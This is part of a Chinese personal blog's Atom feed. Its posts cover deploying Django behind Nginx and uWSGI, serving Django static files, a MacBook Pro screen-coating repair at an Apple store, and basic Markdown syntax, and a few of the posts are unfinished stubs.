<updated>2016-04-09T12:46:30.000Z</updated>
<content type="html"><p>#</p>
</content>
<summary type="html">
<p>#</p>
</summary>
</entry>
<entry>
<title>Nginx+uWSGI+Django 配置</title>
<link href="http://32t.github.io/2016/04/09/nginx_uwgsi_django/"/>
<id>http://32t.github.io/2016/04/09/nginx_uwgsi_django/</id>
<published>2016-04-09T09:50:32.000Z</published>
<updated>2016-07-02T06:04:33.000Z</updated>
<content type="html"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>&#160; &#160; &#160; &#160;我们在使用 Django 开发的时,测试过程中通常使用 Django 自带的 web 服务器,并设置 Debug=False,这样可以实时修改代码并更新程序。但是在生产环境中通常使用 Nginx+uWSGI+Django 这样的模式。</p>
<p>&#160; &#160; &#160; &#160;在这种模式中,使用 Nginx 作为最前端 web 服务器,它接收所有请求并统一管理所有请求。然后 Nginx 将所有的非静态请求通过 uWSGI发送给 Django 处理,Django 处理返回结果由 uWSGI 发给 Nginx,并返回给用户。可见,uWSGI的作用就类似一个桥接器。起到桥梁的作用。</p>
<blockquote>
<p>不使用Nginx,只使用uWSGI+Django也是可以实现WEB服务的。uWSGI也可以直接处理WEB请求</p>
</blockquote>
<a id="more"></a>
<h1 id="uwsgi、uWSGI、WSGI的区别"><a href="#uwsgi、uWSGI、WSGI的区别" class="headerlink" title="uwsgi、uWSGI、WSGI的区别"></a>uwsgi、uWSGI、WSGI的区别</h1><h2 id="WSGI"><a href="#WSGI" class="headerlink" title="WSGI"></a>WSGI</h2><blockquote>
<p>WSGI,全称 Web Server Gateway Interface,或者 Python Web Server Gateway Interface ,是为 Python 语言定义的 Web 服务器和 Web 应用程序或框架之间的一种简单而通用的接口。自从 WSGI 被开发出来以后,许多其它语言中也出现了类似接口。</p>
</blockquote>
<p>&#160; &#160; &#160; &#160;WSGI 的官方定义是,the Python Web Server Gateway Interface。从名字就可以看出来,这东西是一个Gateway,也就是网关。网关的作用就是在协议之间进行转换。</p>
<p>&#160; &#160; &#160; &#160;WSGI 是作为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口,以提升可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。</p>
<p>&#160; &#160; &#160; &#160;<br>很多框架都自带了 WSGI server ,比如 Flask,webpy,Django、CherryPy等等。当然性能都不好,自带的 web server 更多的是测试用途,发布时则使用生产环境的 WSGI server或者是联合 Nginx 做 uwsgi 。</p>
<blockquote>
<p>也就是说,WSGI就像是一座桥梁,一边连着web服务器,另一边连着用户的应用。但是呢,这个桥的功能很弱,有时候还需要别的桥来帮忙才能进行处理。WSGI 的作用如图所示:</p>
</blockquote>
<p><img src="http://www.nowamagic.net/librarys/images/201309/2013_09_04_01.png" alt="WSGI 的作用"></p>
<h3 id="WSGI的作用"><a href="#WSGI的作用" class="headerlink" title="WSGI的作用"></a>WSGI的作用</h3><p>&#160; &#160; &#160; &#160;<br>WSGI有两方:“服务器”或“网关”一方,以及“应用程序”或“应用框架”一方。服务方调用应用方,提供环境信息,以及一个回调函数(提供给应用程序用来将消息头传递给服务器方),并接收Web内容作为返回值。</p>
<p>&#160; &#160; &#160; &#160;<br>所谓的 WSGI中间件同时实现了API的两方,因此可以在WSGI服务和WSGI应用之间起调解作用:从WSGI服务器的角度来说,中间件扮演应用程序,而从应用程序的角度来说,中间件扮演服务器。“中间件”组件可以执行以下功能:</p>
<p>&#160; &#160; &#160; &#160;<br>重写环境变量后,根据目标URL,将请求消息路由到不同的应用对象。<br>允许在一个进程中同时运行多个应用程序或应用框架。<br>负载均衡和远程处理,通过在网络上转发请求和响应消息。<br>进行内容后处理,例如应用XSLT样式表。<br>WSGI 的设计确实参考了 Java 的 servlet。<a href="http://www.python.org/dev/peps/pep-0333/" target="_blank" rel="external">python 开发者文档中</a>有这么一段话:</p>
<blockquote>
<p>By contrast, although Java has just as many web application frameworks available, Java’s “servlet” API makes it possible for applications written with any Java web application framework to run in any web server that supports the servlet API.</p>
</blockquote>
<h3 id="uWSGI-和-uwsgi"><a href="#uWSGI-和-uwsgi" class="headerlink" title="uWSGI 和 uwsgi"></a>uWSGI 和 uwsgi</h3><p>&#160; &#160; &#160; &#160;uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。</p>
<p>&#160; &#160; &#160; &#160;要注意 WSGI / uwsgi / uWSGI 这三个概念的区分。</p>
<ul>
<li>WSGI看过前面小节的同学很清楚了,是一种通信协议。</li>
<li>uwsgi同WSGI一样是一种通信协议。</li>
<li>而uWSGI是实现了uwsgi和WSGI两种协议的Web服务器。</li>
</ul>
<p>&#160; &#160; &#160; &#160;uwsgi协议是一个uWSGI服务器自有的协议,它用于定义传输信息的类型(type of information),每一个uwsgi packet前4byte为传输信息类型描述,它与WSGI相比是两样东西。</p>
<p>&#160; &#160; &#160; &#160;关于uwsgi协议看这里:The uwsgi protocol。</p>
<p>&#160; &#160; &#160; &#160;为什么有了uWSGI为什么还需要Nginx?因为Nginx具备优秀的静态内容处理能力,然后将动态内容转发给uWSGI服务器,这样可以达到很好的客户端响应。</p>
<h2 id="uWSGI-Django"><a href="#uWSGI-Django" class="headerlink" title="uWSGI+Django"></a>uWSGI+Django</h2><p>###安装</p>
<p>uWSGI 的安装很简单:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install uwsgi</span><br></pre></td></tr></table></figure>
<p>现在我们试下将 Django 跑起来。我们先在 virtualenv 创建一个 Django Project:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@nowamagic ~]# cd nowamagic_venv</span><br><span class="line">[root@nowamagic nowamagic_venv]# source bin/activate</span><br><span class="line">(nowamagic_venv)[root@nowamagic nowamagic_venv]# django-admin.py startproject nowamagic_pj</span><br></pre></td></tr></table></figure>
<p>virtualenv 的路径与目录文件如下:</p>
<p><img src="http://www.nowamagic.net/librarys/images/201309/2013_09_05_01.png" alt="virtualenv 的路径与目录文件"></p>
<p>Django Project 的路径与目录文件如下:</p>
<p><img src="http://www.nowamagic.net/librarys/images/201309/2013_09_05_02.png" alt="Django Project 的路径与目录文件"></p>
<h3 id="测试uwsgi"><a href="#测试uwsgi" class="headerlink" title="测试uwsgi"></a>测试uwsgi</h3><p>在你的服务器上写一个test.py:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># test.py</span><br><span class="line"></span><br><span class="line">def application(env, start_response):</span><br><span class="line"> start_response(&apos;200 OK&apos;, [(&apos;Content-Type&apos;,&apos;text/html&apos;)])</span><br><span class="line"> return &quot;Hello World&quot;</span><br></pre></td></tr></table></figure>
<p>我的 test.py 的路径是 /root/nowamagic_venv/nowamagic_pj/test.py,执行以下命令:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@nowamagic ~]# cd nowamagic_venv</span><br><span class="line">[root@nowamagic nowamagic_venv]# source bin/activate</span><br><span class="line">(nowamagic_venv)[root@nowamagic nowamagic_venv]# uwsgi --http :8001 --wsgi-file /root/nowamagic_venv/nowamagic_pj/test.py</span><br></pre></td></tr></table></figure></p>
<p>访问网页 <a href="http://115.28.0.89:8001/" target="_blank" rel="external">http://115.28.0.89:8001/</a>,OK,显示 Hello World,说明 uwsgi 安装成功。</p>
<h3 id="测试你的-Django-项目"><a href="#测试你的-Django-项目" class="headerlink" title="测试你的 Django 项目"></a>测试你的 Django 项目</h3><p>前面我们用 django-admin.py startproject nowamagic_pj 创建了一个项目,现在我们用 Django 自带的 Web 服务器看看我们的项目有没出问题。还是进入我们虚拟环境:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@nowamagic ~]# cd nowamagic_venv</span><br><span class="line">[root@nowamagic nowamagic_venv]# source bin/activate</span><br><span class="line">(nowamagic_venv)[root@nowamagic nowamagic_venv]# python2.7 /root/nowamagic_venv/nowamagic_pj/manage.py runserver 0.0.0.0:8002</span><br></pre></td></tr></table></figure>
<p>OK,启动 Django 自带的服务器了,我们再访问 <a href="http://115.28.0.89:8002/" target="_blank" rel="external">http://115.28.0.89:8002/</a>,成功显示:</p>
<p><img src="http://www.nowamagic.net/librarys/images/201309/2013_09_05_03.png" alt="正确显示"></p>
<p>说明 Djanggo 项目也没问题。</p>
<h3 id="连接Django和uwsgi"><a href="#连接Django和uwsgi" class="headerlink" title="连接Django和uwsgi"></a>连接Django和uwsgi</h3><p>最后一步了,我们要把uwsgi与Django连接起来。</p>
<p>编写django_wsgi.py文件,将其放在与文件manage.py同一个目录下。我的放在 /root/nowamagic_venv/nowamagic_pj/ 下:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"></span><br><span class="line"># coding: utf-8</span><br><span class="line"></span><br><span class="line">import os</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line"># 将系统的编码设置为UTF8</span><br><span class="line">reload(sys)</span><br><span class="line">sys.setdefaultencoding(&apos;utf8&apos;)</span><br><span class="line"></span><br><span class="line">os.environ.setdefault(&quot;DJANGO_SETTINGS_MODULE&quot;, &quot;nowamagic_pj.settings&quot;)</span><br><span class="line">from django.core.handlers.wsgi import WSGIHandler</span><br><span class="line">application = WSGIHandler()</span><br></pre></td></tr></table></figure>
<blockquote>
<p>注意不要直接 copy,有个地方要改:注意到语句os.environ.setdefault。比如我的项目为nowamagic_pj,则语句应该是 os.environ.setdefault(“DJANGO_SETTINGS_MODULE”, “nowamagic_pj.settings”)</p>
</blockquote>
<p>OK,进入虚拟环境执行指令:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@nowamagic ~]# cd nowamagic_venv</span><br><span class="line">[root@nowamagic nowamagic_venv]# source bin/activate</span><br><span class="line">(nowamagic_venv)[root@nowamagic nowamagic_venv]# uwsgi --http :8000 --chdir /root/nowamagic_venv/nowamagic_pj/ --module django_wsgi</span><br></pre></td></tr></table></figure>
<p>成功显示 Django It Works 页面。</p>
<p>这样,你就可以在浏览器中访问你的Django程序了。所有的请求都是经过uwsgi传递给Django程序的。</p>
<p>这里我们介绍了如何把uwsgi与Django连接起来。</p>
<h2 id="Nginx-uWSGI-Django"><a href="#Nginx-uWSGI-Django" class="headerlink" title="Nginx+uWSGI+Django"></a>Nginx+uWSGI+Django</h2><p>先安装 Nginx,可以直接用 apt-get 安装</p>
<h3 id="Nginx-配置"><a href="#Nginx-配置" class="headerlink" title="Nginx 配置"></a>Nginx 配置</h3><p>在 nginx.conf 上加入/修改,我的 server 配置如下(一切从简……):<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">listen 80;</span><br><span class="line">server_name 115.28.0.89;</span><br><span class="line">#server_name localhost;</span><br><span class="line">access_log /home/nowamagic/logs/access.log;</span><br><span class="line">error_log /home/nowamagic/logs/error.log;</span><br><span class="line">#root /root/nowamagic_venv/nowamagic_pj;</span><br><span class="line">location / &#123;</span><br><span class="line"> uwsgi_pass 127.0.0.1:8077;</span><br><span class="line"> #include uwsgi_params;</span><br><span class="line"> include /etc/nginx/uwsgi_params;</span><br><span class="line"> #uwsgi_pass 127.0.0.1:8077;</span><br><span class="line"> #uwsgi_param UWSGI_SCRIPT index;</span><br><span class="line"> #uwsgi_param UWSGI_PYHOME $document_root;</span><br><span class="line"> #uwsgi_param UWSGI_CHDIR $document_root;</span><br><span class="line">&#125;</span><br><span class="line">access_log off;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>注意保证配置里写的目录 /home/nowamagic/logs/ 和 /home/nowamagic/logs/ 存在,接下来就没啥问题了,Nginx 配置很简单。</p>
<h3 id="uWSGI-配置"><a href="#uWSGI-配置" class="headerlink" title="uWSGI 配置"></a>uWSGI 配置</h3><p>前面我们是直接使用命令行来启动 uWSGI,在实际部署环境中,我们常用的是配置文件的方式,而非命令行的方式。</p>
<p>我的 Django 程序目录:/root/nowamagic_venv/nowamagic_pj/</p>
<p>这里让 Nginx 采用 8077 端口与 uWSGI 通讯,请确保此端口没有被其它程序采用。</p>
<p>uWSGI 支持多种配置文件格式,比如 xml,ini,json 等等都可以。</p>
<h4 id="xml-配置"><a href="#xml-配置" class="headerlink" title="xml 配置"></a>xml 配置</h4><p>请确定你在上一节中的django_wsgi.py文件已经存在了。新建一个XML文件:nowamagic_pj.xml,将它放在 /root/nowamagic_venv/nowamagic_pj 目录下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;uwsgi&gt;</span><br><span class="line"> &lt;socket&gt;127.0.0.1:8077&lt;/socket&gt;</span><br><span class="line"> &lt;listen&gt;80&lt;/listen&gt;</span><br><span class="line"> &lt;master&gt;true&lt;/master&gt;</span><br><span class="line"> &lt;pythonpath&gt;/root/nowamagic_venv/nowamagic_pj&lt;/pythonpath&gt;</span><br><span class="line"> &lt;processes&gt;1&lt;/processes&gt;</span><br><span class="line"> &lt;logdate&gt;true&lt;/logdate&gt;</span><br><span class="line"> &lt;daemonize&gt;/var/log/uwsgi.log&lt;/daemonize&gt;</span><br><span class="line"> &lt;plugins&gt;python&lt;/plugins&gt;</span><br><span class="line">&lt;/uwsgi&gt;</span><br></pre></td></tr></table></figure></p>
<p>然后执行命令:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uwsgi -x /root/nowamagic_venv/nowamagic_pj/nowamagic_pj.xml</span><br></pre></td></tr></table></figure></p>
<p>or<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/bin/uwsgi -x /root/nowamagic_venv/nowamagic_pj/nowamagic_pj.xml</span><br></pre></td></tr></table></figure></p>
<p>加载指定的xml配置文件。当使用命令行参数时,可以使用简化命令“-x”。当然也可以不简写:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uwsgi --xml /etc/nowamagic.xml</span><br></pre></td></tr></table></figure>
<p>甚至如果在命令行的最后一个参数以“.xml”结尾,那么就隐含将加载该xml文件作为配置。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uwsgi /etc/nowamagic.xml</span><br></pre></td></tr></table></figure>
<p>有时候因各种环境问题,<code>-x --xml</code> 命令识别不了,可以使用下面的 ini 配置方式:</p>
<h4 id="ini-配置"><a href="#ini-配置" class="headerlink" title="ini 配置"></a>ini 配置</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[uwsgi]</span><br><span class="line">vhost = false</span><br><span class="line">plugins = python</span><br><span class="line">socket = 127.0.0.1:8077</span><br><span class="line">master = true</span><br><span class="line">enable-threads = true</span><br><span class="line">workers = 1</span><br><span class="line">wsgi-file = /root/nowamagic_venv/nowamagic_pj/nowamagic_pj/wsgi.py</span><br><span class="line">virtualenv = /root/nowamagic_venv</span><br><span class="line">chdir = /root/nowamagic_venv/nowamagic_pj</span><br></pre></td></tr></table></figure>
<p>然后执行命令:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uwsgi --ini /root/nowamagic_venv/nowamagic_pj.ini &amp; uwsgi</span><br></pre></td></tr></table></figure>
<p>这样就启动起来了。如果无意外的话,就能在网上访问你的 Python 项目了。</p>
<h2 id="附"><a href="#附" class="headerlink" title="附"></a>附</h2><p>一些我在配置时用到的命令,省得你去搜索:</p>
<ol>
<li><p>关闭 uWSGI:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">killall -9 uwsgi</span><br><span class="line">killall -s HUP /var/www/uwsgi</span><br><span class="line">killall -s HUP /usr/local/bin/uwsgi</span><br></pre></td></tr></table></figure>
</li>
<li><p>列出端口占用情况:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -lpnt</span><br></pre></td></tr></table></figure>
</li>
</ol>
</content>
<summary type="html">
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>&#160; &#160; &#160; &#160;我们在使用 Django 开发的时,测试过程中通常使用 Django 自带的 web 服务器,并设置 Debug=False,这样可以实时修改代码并更新程序。但是在生产环境中通常使用 Nginx+uWSGI+Django 这样的模式。</p>
<p>&#160; &#160; &#160; &#160;在这种模式中,使用 Nginx 作为最前端 web 服务器,它接收所有请求并统一管理所有请求。然后 Nginx 将所有的非静态请求通过 uWSGI发送给 Django 处理,Django 处理返回结果由 uWSGI 发给 Nginx,并返回给用户。可见,uWSGI的作用就类似一个桥接器。起到桥梁的作用。</p>
<blockquote>
<p>不使用Nginx,只使用uWSGI+Django也是可以实现WEB服务的。uWSGI也可以直接处理WEB请求</p>
</blockquote>
</summary>
<category term="Django" scheme="http://32t.github.io/tags/Django/"/>
<category term="Nginx" scheme="http://32t.github.io/tags/Nginx/"/>
<category term="uWSGI" scheme="http://32t.github.io/tags/uWSGI/"/>
</entry>
<entry>
<title>如何在 Django 中设置静态文件</title>
<link href="http://32t.github.io/2016/03/29/how-to-server-django-static-file/"/>
<id>http://32t.github.io/2016/03/29/how-to-server-django-static-file/</id>
<published>2016-03-29T04:32:36.000Z</published>
<updated>2016-04-09T08:57:50.000Z</updated>
<content type="html"><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>在使用 Django 建设网站的过程中通常需要提供其他一些静态文件,例如 css,js,img 等,然而众所周知,django 无法像 apache 或者 iis 一样直接放上去就可以用,成为了众多新手的一大门槛,笔者也是被折磨了多次。花了一上午时间深入研究了 Django 相关官方文档,记录下来顺便整理一下。</p>
<h2 id="静态文件提供的两种方式"><a href="#静态文件提供的两种方式" class="headerlink" title="静态文件提供的两种方式"></a>静态文件提供的两种方式</h2><p>Django 提供了 django.contrib.staticfiles 来帮助用户管理静态文件。</p>
<h3 id="APP-内部文件"><a href="#APP-内部文件" class="headerlink" title="APP 内部文件"></a>APP 内部文件</h3><ol>
<li>确保django.contrib.staticfiles 在 settting 文件的 INSTALLED_APPS中</li>
<li>在 setting 文件中,定义变量 STATIC_URL<br> STATIC_URL = ‘/static/‘</li>
<li>在 my_site/my_app/目录下新建文件夹static/my_app/ 然后在其下面存放文件 myexample.jpg文件</li>
<li><p>在模板中使用的时候,可以有两种使用方式</p>
<ol>
<li>硬编码<br>直接硬编码为/static/my_app/myexample.jpg 这样。注意,Django 会查找所有 app 目录下的static/my_app 文件夹,例如你有两个 app,my_app1,my_app2<br>目录结构如下:<br>my_app1<br>-static<br>—my_app<br>—–myexample.jpg<br>my_app2<br>-static<br>—my_app<br>—–myexample.jpg</li>
</ol>
<p>那么这样使用的时候,会直接使用第一个目录下的文件</p>
<ol>
<li>软编码<br>也可以使用 static 模板标签来根据相对路径生成 url.</li>
</ol>
</li>
</ol>
<h3 id="全局文件"><a href="#全局文件" class="headerlink" title="全局文件"></a>全局文件</h3><h3 id="Django查找静态文件的顺序问题"><a href="#Django查找静态文件的顺序问题" class="headerlink" title="Django查找静态文件的顺序问题"></a>Django查找静态文件的顺序问题</h3><p>首先会查找各个 app 下面的 STATIC_URL 文件所指定的目录</p>
<h3 id="命名空间-namespace-的问题"><a href="#命名空间-namespace-的问题" class="headerlink" title="命名空间 namespace 的问题"></a>命名空间 namespace 的问题</h3><h2 id="测试环境中使用"><a href="#测试环境中使用" class="headerlink" title="测试环境中使用"></a>测试环境中使用</h2><h2 id="生产环境中使用"><a href="#生产环境中使用" class="headerlink" title="生产环境中使用"></a>生产环境中使用</h2></content>
<summary type="html">
<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>在使用 Django 建设网站的过程中通常需要提供其他一些静态文件,例如 css,js,img 等,然而众所周知,django 无法像 ap
</summary>
</entry>
<entry>
<title>RMBP13涂层脱落换屏记</title>
<link href="http://32t.github.io/2016/03/17/rmbp13-screen-fix/"/>
<id>http://32t.github.io/2016/03/17/rmbp13-screen-fix/</id>
<published>2016-03-17T08:11:21.000Z</published>
<updated>2016-03-19T16:08:44.000Z</updated>
<content type="html"><p>之前就听说13款的RMBP反光涂层掉落的问题,当时也没太注意,擦屏幕的方法也比较暴力,直到前两天自己也中了招,一擦之下涂层尽落,再擦一下,落得更多,于是开始了漫漫换屏路。在此记录一下,给同样问题的小伙伴参考。</p>
<h2 id="预约Genius-Bar"><a href="#预约Genius-Bar" class="headerlink" title="预约Genius Bar"></a>预约Genius Bar</h2><p>首先给400-666-8800打了电话,在说明了问题后,对方会询问序列号和购买时间,同时也会问购买凭证是否还在(实际上用不到),由于涂层脱落问题苹果官方是可以免费换屏的,于是让客服帮忙预约了西单大悦城的genius bar,并记录了邮箱、姓名和电话。</p>
<a id="more"></a>
<h2 id="去Genius-Bar维修"><a href="#去Genius-Bar维修" class="headerlink" title="去Genius Bar维修"></a>去Genius Bar维修</h2><p>提前签到后就是等待了,维修的MM看了屏幕,然后问有没有备份数据(建议大家最好备份一下),开具了维修单并表示两个小时后可以来取。</p>
<p>然后意外发生了,闲逛磨蹭期间接到维修部门的电话,工程师表示“我们拆机后发现您的主板没有序列号,我们拒绝维修”,我询问了为什么没有序列号以及应该找谁处理问题的时候,该工程师态度很差的说“根据规定,我们拒绝维修”,于是懵比的回来取机器。</p>
<p>排队了半天,终于有个小蓝人出来给我解释了一下,表示他们也没有遇到过相关情况,因为机器也没有之前的购买记录,激活也是我第一次激活,他们需要向上级部门请示看能否维修,只能第二天上午看上级回复后解决,不过可能需要提供购买凭证,如果需要的话可以以拍照的形式传给他们。给出了我两个选择,要么拿回机器不维修,要么等第二天,作为一个码农只能舍弃半天的敲代码时间,留下了机器。</p>
<h2 id="客服答复"><a href="#客服答复" class="headerlink" title="客服答复"></a>客服答复</h2><p>第二天上午十点多先给400官方客服打电话咨询情况,询问一下如果主板序列号不存在应该怎么处理,能否让400协商,400表示硬件问题国内最高的权限就是直营店,如果直营店维修人员处理不了,可以咨询店长。于是转而给大悦城的客服打电话咨询维修进度,相关客服表示正在上报,只能根据上级反馈来决定,不过该客服同时表示这种情况一般没问题,最多需要提供购买凭证也可以解决(同时也吐槽了一把序列号写入程序,说可能相关程序bug了)。挂掉电话后就接到了维修部门的电话表示经过他们检测序列号一致,可以维修(WTF?),下午三点前去取即可。</p>
<p>##取回机器<br>带上身份证和维修单即可取回。</p>
<p>第一次写这种类型的文章,有点流水账了,总结一下,</p>
<ol>
<li>预约天才吧</li>
<li>带上机器和身份证去维修(一般两个小时内就可以取,所以直接带上身份证就行了)</li>
<li>带上身份证和维修单去取机器</li>
<li>如果有购买凭证的最好带上,以防出现其他问题来回折腾。</li>
</ol>
<p><img src="http://ww1.sinaimg.cn/large/63e8a615jw1f22ls3adpzj20go0m80tq.jpg" alt="image"></p>
<p><img src="http://ww1.sinaimg.cn/large/63e8a615jw1f22lsif7tbj20m70m8dhl.jpg" alt="image"><br><img src="http://ww3.sinaimg.cn/large/63e8a615jw1f22lsy3t61j20go0m83z8.jpg" alt="iamge"></p>
</content>
<summary type="html">
<p>之前就听说13款的RMBP反光涂层掉落的问题,当时也没太注意,擦屏幕的方法也比较暴力,直到前两天自己也中了招,一擦之下涂层尽落,再擦一下,落得更多,于是开始了漫漫换屏路。在此记录一下,给同样问题的小伙伴参考。</p>
<h2 id="预约Genius-Bar"><a href="#预约Genius-Bar" class="headerlink" title="预约Genius Bar"></a>预约Genius Bar</h2><p>首先给400-666-8800打了电话,在说明了问题后,对方会询问序列号和购买时间,同时也会问购买凭证是否还在(实际上用不到),由于涂层脱落问题苹果官方是可以免费换屏的,于是让客服帮忙预约了西单大悦城的genius bar,并记录了邮箱、姓名和电话。</p>
</summary>
<category term="RMBP13" scheme="http://32t.github.io/tags/RMBP13/"/>
<category term="涂层脱落" scheme="http://32t.github.io/tags/%E6%B6%82%E5%B1%82%E8%84%B1%E8%90%BD/"/>
<category term="Genius Bar" scheme="http://32t.github.io/tags/Genius-Bar/"/>
</entry>
<entry>
<title>mongo性能调优</title>
<link href="http://32t.github.io/2016/03/15/mongo-optimization/"/>
<id>http://32t.github.io/2016/03/15/mongo-optimization/</id>
<published>2016-03-15T08:11:20.000Z</published>
<updated>2016-03-19T16:10:57.000Z</updated>
<content type="html"><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>最近公司在做海外业务的拓展,我负责了海外数据的抓取、分析和接口工作,随着开发的推进和数据量的增加</p>
<h2 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h2><a id="more"></a>
<h2 id="调优方案"><a href="#调优方案" class="headerlink" title="调优方案"></a>调优方案</h2></content>
<summary type="html">
<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>最近公司在做海外业务的拓展,我负责了海外数据的抓取、分析和接口工作,随着开发的推进和数据量的增加</p>
<h2 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h2>
</summary>
<category term="mongodb" scheme="http://32t.github.io/tags/mongodb/"/>
<category term="性能" scheme="http://32t.github.io/tags/%E6%80%A7%E8%83%BD/"/>
</entry>
<entry>
<title>Markdown学习记录</title>
<link href="http://32t.github.io/2016/03/11/markdown-start/"/>
<id>http://32t.github.io/2016/03/11/markdown-start/</id>
<published>2016-03-11T11:50:32.000Z</published>
<updated>2016-03-11T16:32:07.000Z</updated>
<content type="html"><blockquote>
<p>We believe that writing is about content, about what you want to say – not about fancy formatting. 我们坚信写作写的是内容,所思所想,而不是花样格式。— Ulysses for Mac</p>
</blockquote>
<h2 id="写作原因"><a href="#写作原因" class="headerlink" title="写作原因:"></a>写作原因:</h2><p>一直在想定期总结一下自己遇到的技术问题和解决方式,顺便记录自己的成长过程。感谢GitHub提供了免费的空间,同时也感谢Hexo的作者,提供了这么好的静态网站制作工具。Hexo文章格式遵循Markdown语法,刚好记录下来,作为第一篇技术学习记录。</p>
<h2 id="语法规则"><a href="#语法规则" class="headerlink" title="语法规则"></a>语法规则</h2><h3 id="标题"><a href="#标题" class="headerlink" title="标题"></a>标题</h3><p># 一级标题</p>
<p>## 二级标题</p>
<p>### 三级标题<br>以此类推,总共六级标题,建议在井号后加一个空格,这是最标准的 Markdown 语法。<br><a id="more"></a></p>
<h3 id="列表"><a href="#列表" class="headerlink" title="列表"></a>列表</h3><h4 id="无序列表"><a href="#无序列表" class="headerlink" title="无序列表"></a>无序列表</h4><p>书写方式</p>
<pre><code>* 这
* 是
* 表
* 格
</code></pre><p>效果:</p>
<ul>
<li><p>这</p>
</li>
<li><p>是</p>
</li>
<li><p>表</p>
</li>
<li><p>格</p>
</li>
</ul>
<h4 id="有序列表"><a href="#有序列表" class="headerlink" title="有序列表"></a>有序列表</h4><p>书写方式</p>
<pre><code>1. 这
2. 是
3. 表
4. 格
</code></pre><p>效果:</p>
<ol>
<li><p>这</p>
</li>
<li><p>是</p>
</li>
<li><p>表</p>
</li>
<li><p>格</p>
</li>
</ol>
<h3 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h3><p>在需要引用的文字之前添加<code>&gt;</code>即可。</p>
<p><img src="http://ww3.sinaimg.cn/large/63e8a615jw1f1tdtgd70lj20r60cc0tc.jpg" alt="image"></p>
<h3 id="图片与链接"><a href="#图片与链接" class="headerlink" title="图片与链接"></a>图片与链接</h3><p>插入链接与插入图片的语法很像,区别在一个 !号</p>
<p>图片为:<br> <code>![](){ImgCap}{/ImgCap}</code></p>
<p>链接为:<br> <code>[]()</code><br>插入图片的地址需要图床,这里推荐围脖图床修复计划 与 CloudApp 的服务,生成URL地址即可。</p>
